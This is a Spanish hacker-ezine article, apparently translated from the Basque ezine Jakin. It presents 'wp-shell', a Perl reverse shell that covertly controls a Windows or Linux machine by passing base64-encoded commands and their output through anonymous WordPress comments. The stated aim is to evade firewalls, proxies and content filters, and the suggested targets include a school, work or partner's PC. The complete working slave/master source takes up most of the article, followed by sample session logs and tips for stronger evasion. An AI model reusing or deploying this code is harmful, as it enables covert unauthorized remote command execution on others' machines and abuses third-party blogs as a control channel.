Copy Link
Add to Bookmark
Report

SET 032 0x09

  

-[ 0x09 ]--------------------------------------------------------------------
-[ wpshell ]-----------------------------------------------------------------
-[ by jakin ]--------------------------------------------------------SET-32--


Este articulo se escribio en el n7 del ezine Jakin (el ultimo). Este ezine se
escribe integramente en euskera (y en C :>) y trata sobre seguridad informatica.
Ha habido gente que ha lamentado no poder enterarse de nada asi que se nos ha
ocurrido seleccionar un articulo y traducirlo para SET.

jakin


WP-SHELL: un shell inverso (ab)usando WordPress
-----------------------------------------------

Hola soy Regexp Angelorum, en anteriores numeros de Jakin he escrito articulos
con sobre programacion perl.

En esta ocasion tratare un tema algo distinto: un shell inverso.
Este tema este muy relacionado a las tecnicas de evasion de firewalls,
grupos como THC ya sacaron papers sobre este tema:
http://www.thc.org/papers/fw-backd.htm
Por tanto el tema no es nuevo aunque en mi caso voy a proponer unas
mejoras que espero resulten interesantes. El entorno que se propone
es bastante hostil y sin embargo trato de demostrar que es posible saltarselo.
Al final de este articulo va el codigo, un PoC mejorable pero que funciona.

Escenario y objetivo
--------------------

El objetivo no es otro que controlar remotamente una maquina windows o linux.
Podria ser el del curre, el de casa, o el de la novia xD.
Pero esa maquina se encuentra protegida por un router (como poco) y un
firewall:

______
/ ____ \
|| || _________ ______ ____
_||____||_ / / / \ | |
| PC de la |<--->/firewall/<--->| router |<---->... Internet ... <---->| Yo |_
+_escuela__+ /________/ \______/ |________|


Condiciones
-----------

Vamos a suponer que el entorno es muy restrictivo respecto a la red:

1-Desde fuera es imposible entrar en la red local, todos los puertos estan
cerrados, no hay ni DMZ ni nada y por tanto no hay acceso hacia adentro. El
router no hace ninguna traduccion de direcciones o NAT.

2-Es imposible entrar en el router. Ni desde fuera ni desde dentro, por tanto no
lo podemos administrar y añadir un NAT.

3-El firewall no permite conexiones entrantes desde el exterior hacia adentro,
tiene una buena configuracion que no permite la apertura de cualquier puerto.
Los paquetes provenientes del exterior solo se aceptan si estan vinculados a
una conexion ya abierta.

4-Desde el PC de la escuela (el que queremos controlar) no nos podemos conectar
a internet de forma directa; solo nos podemso conectar a traves de un
software proxy que hay en el firewall y solamente al puerto 80. No podemos
abrir otras conexiones por nuestra cuenta.

5-Ese proxy tiene un filtro de contenido: codigo de programas, comandos shell,
y cualquier tipo de trafico sospechoso es denegado. Algo parecido al HIVE de
s21sec.

6-Es mas: la IP del router es dinamica y cambia continuamente.

¿Condiciones duras eh? por fortuna no suelen ser tan duras, generalmente en
las escuelas las medidas de seguridad son bastante irrisorias. Pues bien: es
posible gestionar esa maquina interna desde el exterior saltando todas esas
condiciones y medidas de seguridad. ¿Como es posible?

Lo unico que tenemos a nuestro favor es que ese PC de la escuela lo podemos
controlar cuando estamos ante el (faltaria mas), y podemos instalar el
programa que queramos.
Pero no podemos instalar cualquier programa de control remoto (VNC, pcanywhere,
remote administrator,..) porque es imposible conectarnos a el desde el
exterior. Solo hay una salida, valga la expresion: el propio PC de la escuela
debe ser quien inicie la conexion hacia el exterior.

De alguna forma el PC de la escuela debe conectarse como cliente a un programa
servidor del exterior; nosotros nos podemos conectar a ese servidor para asi
poder llegar hasta el objetivo a traves de el. En definitiva cambiamos el
sentido de la conexion, de eso se trata un shell inverso.

Con esto no se dice nada nuevo, por eso tratare de ir mas alla.

En los articulos sobre reverse-shell se suele decir que la maquina externa
debe estar controlada por el hacker. En muchos casos se propone que la maquina
externa debe abrir un puerto tcp (o udp, o icmp, las posibilidades de tunelar
ya estan muy estudiadas) o incluso abrir una conexion p2p. Si el puerto es
menor de 1024 necesitaremos permisos de root.
Pero ademas de eso puede que ese puerto sea inaccesible desde el PC de la
escuela. Recordemos que en la red de la escuela la salida a internet se hace en
condiciones muy restrictivas: es imposible que el PC abra una conexion
directamente, y ademas cualquier tipo de comunicacion tunelada o sospechosa
sera filtrada por el proxy o firewall de nivel 7. El Pc de la escuela solo
puede navegar y punto.

La salida: el shell anonimo WordPress
-------------------------------------

La solucion seria poder pasar los comandos y las respuestas a traves de la
web de alguna manera. Podemos colgar en una web comandos en un formato que el
programa cliente entiende para que este se los baje y los procese. Un sistema
muy comodo para colgar ordenes seria un weblog.

La tecnica no es novedosa; es habitual utilizar servicios de internet para
colgar codigo (como las news) u ordenes (a traves de irc) aunque en esta
ocasion nos aprovecharemos de la gran difusion de aplicaciones de weblog. En
este caso es el muy popular WordPress aunque podria haber sido cualquier otro.

Pero ojo: no se trata de colgar una ristra de ordenes para que se ejecuten en
modo batch. Lo que se intenta es crear un shell en el que se meta un comando y
se reciba la correspondiente respuesta.

La base del funcionamiento es el siguiente:
0.- Buscamos un Wordpress que permita post de comentarios anonimos
1.- Usando el programa maestro posteamos un comando (tendra determinado ID).
2.- El programa esclavo accede a la web y al comentario y ejecuta su contenido.
3.- El programa esclavo recoge la salida y la postea como respuesta (con ID+1).
4.- El programa maestro recoge la respuesta y la muestra por "pantalla" al
usuario.
5.- El usuario mete un nuevo comando y este se postea en como nueva respuesta.
6.- etc...

Usariamos un unico programa que se puede ejecutar en modo maestro o en modo
esclavo. El esquema quedaria asi:

WP-SHELL en WP-SHELL en
MODO ESCLAVO MODO MAESTRO
+----www----+
______ <---(2) Lectura comando-| | <---(1) Posteo comando
/ ____ \ (3) ejecucion | | +---+
|| ||-(4)Respuesta comando --->| |-(5)Lectura respuesta-->| |
_||____||_ | blog | | |
| PC de la |<--->...Internet...<--->| wordpress |<--->...Internet...<--->| |
+_escuela__+ +___________+ +___+

En el modo maestro, lo que el usuario ve es una especie de shell-prompt
(asincrono) en el que va metiendo comandos y recibiendo respuestas.
Algo asi:

wp-shell@http://host/?p=6 [0]>
wp-shell@http://host/?p=6 [0]> ls -l
...


/Ventajas y mejoras/

¿Que ventajas tiene este shell inverso?

+ El PC de la escuela no tendra ningun problema, de eso se trataba.
+ La maquina en la que se cuelgan los comandos y respuestas no es nuestra y no
tiene nada que ver con nosotros.
+ Al mandarse ordenes a traves de web, pueden usarse formas anonimas de navegar
a traves de proxys o una wireless cualquiera.
+ Todos las ordenes y respuestas pueden cifrarse o codificarse (base64) para
evadir los filtros de contenido. Con base64 el contenido sera [a-zA-Z0-9]+.
+ Se hace un uso "legal" de WordPress (posteos de comentarios), sin inyecciones
ni nada, por tanto da igual que el wordpress este actualizado.
+ La tecnica se puede aplicar con cualquier weblog, guestbook, etc...

Mejoras:
+ Se puede mejorar para que el shell salte de un sitio a otro. al final de
una respuesta se podria meter una cadena para ir al siguiente lugar,
encadenando varios weblogs.
+ Se pueden desarollar codificaciones distinas a base64, o cifrados para evadir
filtros de nivel7 que se sepan el truco de la codificacion.


/Desventajas/

- Se precisa posteo anonimo: si no es posible postear de forma anonima basta
con mejorar el programa para que use un usuario valido.

- Latencia: es probable que wordpress solo nos permita postear cada 15 segundos,
cosa que se soluciona con tiempos de espera o saltando de un blog a otro.

- No se puede repetir los mismos comandos, ya que Wordpress controla los POST
repetidos. Workaround: meter espacios en blanco o añadidos tipo " && echo OK".

- El shell es "publico". Se puede usar cifrado en lugar de codificacion.

Y a continuacion aqui va el codigo. Se puede mejorar aunque de todas formas
esto no es mas que una PoC. Se ha probado localmente y funciona.


-----------------------8<---------------------------------------------------------

#!/usr/bin/perl -w

# wp-shell.pl - Regexp - Jakin ezine 7
# Un shell inverso al estilo del explicaddo en THC, en este caso
# hace uso de weblogs y puede funcionar incluso en condiciones
# muy desfavorables.
# Este codigo se ejecuta como esclavo (en el pc que se quiere controlar)
# o como maestro (el equipo desde el cual mandamos comandos).


# Modulos perl necesarios
use MIME::Base64;
use LWP::UserAgent;
use HTTP::Request;
use HTML::LinkExtor;
use HTTP::Headers;
use HTML::LinkExtor;
use URI::URL;
use HTTP::Request::Common qw(POST);

# Aqui nombramos las variables que usaremos, por claridad mas que nada
my $arana; # cliente web
my $cabeceras; # Cabeceras del protocolo HTTP
my $url; # Objeto URL
my $peticion; # Objeto HTTP request
my $respuesta; # Respuesta del servidor (pagina o error)
my $direccion; # Direccion destino
my $contador = 0; # Contador de comandos del shell
my $prompt = "wp-shell";# Indetificador del shell
my $agente = "wp-shell-/0.1"; # Web zerbitzariari bidalitako nabigatzaile
izena
my $referer = "http://www.jakin.tk"; # Web zerbitzariari bidalita url
jatorria
my $identrada; # Identificador de entrada de wordpress para meter los
comentarios (ordenes)
my $modua = ""; # Modo del shell: maestro o esclavo
my $direccion_post = "";# URL para meter los comentarios por metodo POST

# Argumentos
if ($#ARGV < 0 ) {
printf("Numero de argumentos erroneo, se precisa una url \n");
die("Uso \n ./wp-shell.pl http://wordpresslog/?p=num [maestro]
[idcontador] [prompt]"
);
} else {
$direccion = $ARGV[0];
@temp = split(/\?p=/, $ARGV[0]);
$identrada = $temp[1];
@temp = split(/\?/, $ARGV[0]);
$direccion_post = $temp[0] . "wp-comments-post.php";
$contador = (defined($ARGV[2]))?$ARGV[2]:0;
$modua = (defined($ARGV[1]))?$ARGV[1]:0;
$prompt = "wp-shell";
printf("wp-shell - OK direccion $direccion e id $identrada\n");
}


# Si se invoca el modo maestro ejecutamos su funcion
if ($modua eq "maestro") {
&maixu();
}

my $resultadoesclavo = "";
my $comando = "";


# Si no entramos en modo maestro, funciona como esclavo
# codigo del esclavo
while (1) {

$comando = "";
print "[A la espera... ]\n";
$resultadoesclavo = &descargar($direccion);
$comando = &busqueda($resultadoesclavo, $contador, "http://" . $prompt .
".com/");

if ( $comando ne "") {
print "Comando solicitado: [$comando] " . descodificar($comando) . "\n";
$resultadoesclavo = ejecutar(descodificar($comando));
print "\033[0;36;40m $resultadoesclavo \033[0m";
print "[OK, ahora posteare el output en wordpress. Espera un poco]\n";
sleep(15);
&post("Esclavo","jlrzapatero\@presidencia.gob.es","http://cliente".
$prompt. ".com/". $contador , codificar($resultadoesclavo));
$contador++;
} else {
print "\n[No hay nuevos comandos...] \n";
sleep(5);
}

}


##############################################
################ SUBRUTINAS ###############
##############################################

## Si ejecutamos en modo maestro...
sub maixu {

print "Wordpress SHELL, para salir escribe 'exit'.\n";
my $comando = "";
my $resultado = "";
my $resultado_post = "";
my $cont = 0;

while (1) {
print "\n\033[0;35;40mwp-shell\@$direccion [".$contador."]> \033[0m";
$comando = <STDIN>;
chomp($comando);
if ($comando eq "exit") {
exit(0);
} else {
$resultado_post = &post("Maestro","jlrzapatero\@presidencia.gob.es","http://". $prompt. ".com/". $contador , codificar($comando));

# Si el comando esta repetido, se avisa
if ($resultado_post =~ /duplicate/i ) {
print " Comando replicado escribe de otra forma o con espacios en blanco\n";
next;
}

# Si Wordpress responde que vamos rapido
if ($resultado_post =~ /cowboy/i) {
print " [A dormir, vamos muy rapido]\n zz..zzzZZZZ...\n";
sleep(10);
next;
}


# Esperamos alguna respuesta
while( $resultado eq "" && $cont <6) {
$resultado = &descargar($direccion);

$resultado = &busqueda($resultado, $contador, "http://cliente" . $prompt . ".com/");
if ( $resultado ne "") {
$_ = $resultado;

# Los <br/> introducidos por Wordpress hay que quitarlos
$resultado =~ s#<br/>##g;
print "\033[0;36;40m". descodificar($resultado) ."\033[0m";
} else {
$resultado = "";
}
sleep(5);
$cont++;
}
$resultado = "";
$contador++;
$cont = 0;
}
}
}


## descargar
# descarga una pagina web solicitada
sub descargar {

my ($helburu_url) = @_;

# Creamos la araña o user-agent web
$cabeceras = new HTTP::Headers(Accept => 'text/plain');

$url = new URI::URL($helburu_url);
$peticion = new HTTP::Request(GET, $url, $cabeceras);
$peticion->referer($referer);
$arana = new LWP::UserAgent;
$arana->agent($agente);
$respuesta = $arana->request($peticion);

print "wp-shell> GET $helburu_url ...\n";

## Respuesta del servidor
if ($respuesta->is_success) {# en caso de tener exito
print "wp-shell> Respuesta del servidor: \n";
return $respuesta->content;
} else { # en caso contrario
return $respuesta->message; # Sal de la funcion
}

}

# Busqueda de determinado comentario en el blog
# Esta funcion es crucial y si varia el formato de XHTML de wordpress
# habria que ajustarla
sub busqueda {
my ($html, $cont, $clave) = @_;
my $resultado1 = "";
my $resultado2 = "";
$clave = $clave . $cont;

print "Buscando cadena [".$cont. "[" . $clave . "]" . $prompt ."]\n";
$_ = $html;

s/\s//g;
($resultado1,$resultado2) = m#${clave}(.*?)<p>\s*(.*?)\s*</p>#m;

if ( defined($resultado2) && $resultado2 ne "") {
print "Resultado: [" . $resultado1 . "] y [" . $resultado2 . "]\n";
return $resultado2;
} else {
return "";
}

}

# Funcion para postear comentarios en el BLOG
sub post {
my ($author, $email, $url, $comment) = @_;
my $content = "";

print "\nVamos alla " . $direccion_post . " \n";
$ua = LWP::UserAgent->new();
my $req = POST $direccion_post,[ author => $author, email => $email, url => $url, comment => $comment , comment_post_ID => $identrada];
$content = $ua->request($req)->as_string;
print "\nRespuesta\n " . $content . " \n";
return $content;
}


# Funcion para ejecutar los comandos que retorna el resultado
sub ejecutar {
my ($comando_solicitado) = @_;
my $output_comando = "";

print "[Comando solicitado: $comando_solicitado ]\n";

open(COMANDO,"$comando_solicitado|");
while(<COMANDO>) {
$output_comando .= $_;
}
close(COMANDO);
return $output_comando;

}


# Funcion de codificacion, en este caso se usa base64
sub codificar {
my ($contenido) = @_;
return MIME::Base64::encode($contenido);
}

# Funcion de decodificacion
sub descodificar {
my ($contenido) = @_;
return MIME::Base64::decode($contenido);
}

-----------------------8<---------------------------------------------------------

[Lo que veriamos en la parte MASTER]

linux# ./wp-shell.pl http://10.0.0.3/wordpress/?p=6 master
wp-shell - OK direccion http://10.0.0.3/wordpress/?p=6 e id 6
Wordpress SHELL, para salir escribe 'exit'

wp-shell@http://10.0.0.3/wordpress/?p=6 [0]> ls -lh

Goazen http://10.0.0.3/wordpress/wp-comments-post.php

Respuesta
HTTP/1.1 302 Found
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Tue, 26 Jul 2005 22:15:49 GMT
Pragma: no-cache
Location:
Server: Apache/1.3.33
Content-Type: text/html; charset=iso-8859-1
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 26 Jul 2005 22:15:50 GMT
Client-Date: Tue, 26 Jul 2005 22:15:50 GMT
Client-Peer: 10.0.0.3:80
Client-Response-Num: 1
Client-Transfer-Encoding: chunked
Set-Cookie: comment_author_9c7065c5618d551217189566c54a1f30=Maixua; expires=Sun, 09 Jul 2006 03:35:50 GMT; path=/wordpress/
Set-Cookie: comment_author_email_9c7065c5618d551217189566c54a1f30=jlrzapatero%40presidencia.gob.es; expires=Sun, 09 Jul 2006 03:35:50 GMT; path=/wordpress/
Set-Cookie: comment_author_url_9c7065c5618d551217189566c54a1f30=http%3A%2F%2Fwp-shell.com%2F0; expires=Sun, 09 Jul 2006 03:35:50 GMT; path=/wordpress/


wp-shell> GET http://10.0.0.3/wordpress/?p=6 ...
wp-shell> Respuesta del servidor:
[Buscando cadena 0[http://clientewp-shell.com/0]]
wp-shell> GET http://10.0.0.3/wordpress/?p=6 ...
wp-shell> Respuesta del servidor:
[Buscando cadena 0[http://clientewp-shell.com/0]]
wp-shell> GET http://10.0.0.3/wordpress/?p=6 ...
wp-shell> Respuesta del servidor:
[Buscando cadena 0[http://clientewp-shell.com/0]]
wp-shell> GET http://10.0.0.3/wordpress/?p=6 ...
wp-shell> Respuesta del servidor:
[Buscando cadena 0[http://clientewp-shell.com/0]]
wp-shell> GET http://10.0.0.3/wordpress/?p=6 ...
wp-shell> Respuesta del servidor:
[Buscando cadena 0[http://clientewp-shell.com/0]]
Emaitza: ['rel='externalnofollow'>Bezeroa</a></cite>Says:<br/><smallclass="commentmetadata"><ahref="#comment-84"title="">July27th,2005at12:16am</a></small>] eta [dG90YWwgMjBLCi1ydy1yLS1yLS0gIDEgcm9vdCByb290IDcuOUsgSnVsIDI1IDEyOjIwIHRlc3Qu<br/>aHRtbAotcnd4ci14ci14ICAxIHJvb3Qgcm9vdCAgOTg1IEp1bCAyNSAxMjo0OCB0ZXN0LnBsCi1y<br/>d3hyLXhyLXggIDEgcm9vdCByb290IDcuMUsgSnVsIDI3IDAwOjExIHdwLXNoZWxsLnBsCg==]
total 20K
-rw-r--r-- 1 root root 7.9K Jul 25 12:20 test.html
-rwxr-xr-x 1 root root 985 Jul 25 12:48 test.pl
-rwxr-xr-x 1 root root 7.1K Jul 27 00:11 wp-shell.pl

wp-shell@http://10.0.0.3/wordpress/?p=6 [1]>




[LO QUE VERIAMOS EN LA PARTE CLIENTE]

linux# ./wp-shell.pl http://10.0.0.3/wordpress/?p=6 bezero
wp-shell - OK helburua http://10.0.0.3/wordpress/?p=6 eta id 6
Post helbidea: http://10.0.0.3/wordpress/wp-comments-post.php
[A la espera... ]
wp-shell> GET http://10.0.0.3/wordpress/?p=6 ...
wp-shell> Respuesta del servidor:
[0[http://wp-shell.com/0]]

[No hay nuevos comandos...]

[A la espera... ]
wp-shell> GET http://10.0.0.3/wordpress/?p=6 ...
wp-shell> Respuesta del servidor:
[0[http://wp-shell.com/0]]
Emaitza: ['rel='externalnofollow'>Maixua</a></cite>Says:<br/><smallclass="commentmetadata"><ahref="#comment-83"title="">July27th,2005at12:15am</a></small>] eta [bHMgLWxo]
Eskatutakoa: [bHMgLWxo] ls -lh
[Pasatutakoa: ls -lh ]
total 20K
-rw-r--r-- 1 root root 7.9K Jul 25 12:20 test.html
-rwxr-xr-x 1 root root 985 Jul 25 12:48 test.pl
-rwxr-xr-x 1 root root 7.1K Jul 27 00:11 wp-shell.pl
[OK, orain emaitza wordpress-en idatziko dut. egon pixkat]

Goazen http://10.0.0.3/wordpress/wp-comments-post.php

Erantzuna
HTTP/1.1 302 Found
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Tue, 26 Jul 2005 22:16:09 GMT
Pragma: no-cache
Location:
Server: Apache/1.3.33
Content-Type: text/html; charset=iso-8859-1
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 26 Jul 2005 22:16:10 GMT
Client-Date: Tue, 26 Jul 2005 22:16:10 GMT
Client-Peer: 10.0.0.3:80
Client-Response-Num: 1
Client-Transfer-Encoding: chunked
Set-Cookie: comment_author_9c7065c5618d551217189566c54a1f30=Bezeroa; expires=Sun, 09 Jul 2006 03:36:10 GMT; path=/wordpress/
Set-Cookie: comment_author_email_9c7065c5618d551217189566c54a1f30=jlrzapatero%40presidencia.gob.es; expires=Sun, 09 Jul 2006 03:36:10 GMT; path=/wordpress/
Set-Cookie: comment_author_url_9c7065c5618d551217189566c54a1f30=http%3A%2F%2Fbezerowp-shell.com%2F0; expires=Sun, 09 Jul 2006 03:36:10 GMT; path=/wordpress/


[A la espera... ]
wp-shell> GET http://10.0.0.3/wordpress/?p=6 ...
wp-shell> Respuesta del servidor:
[1[http://wp-shell.com/1]]

[No hay nuevos comandos...]



Por hoy es suficiente.

die("hasta otra");

-Regexp Angelorum-
*EOF*

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT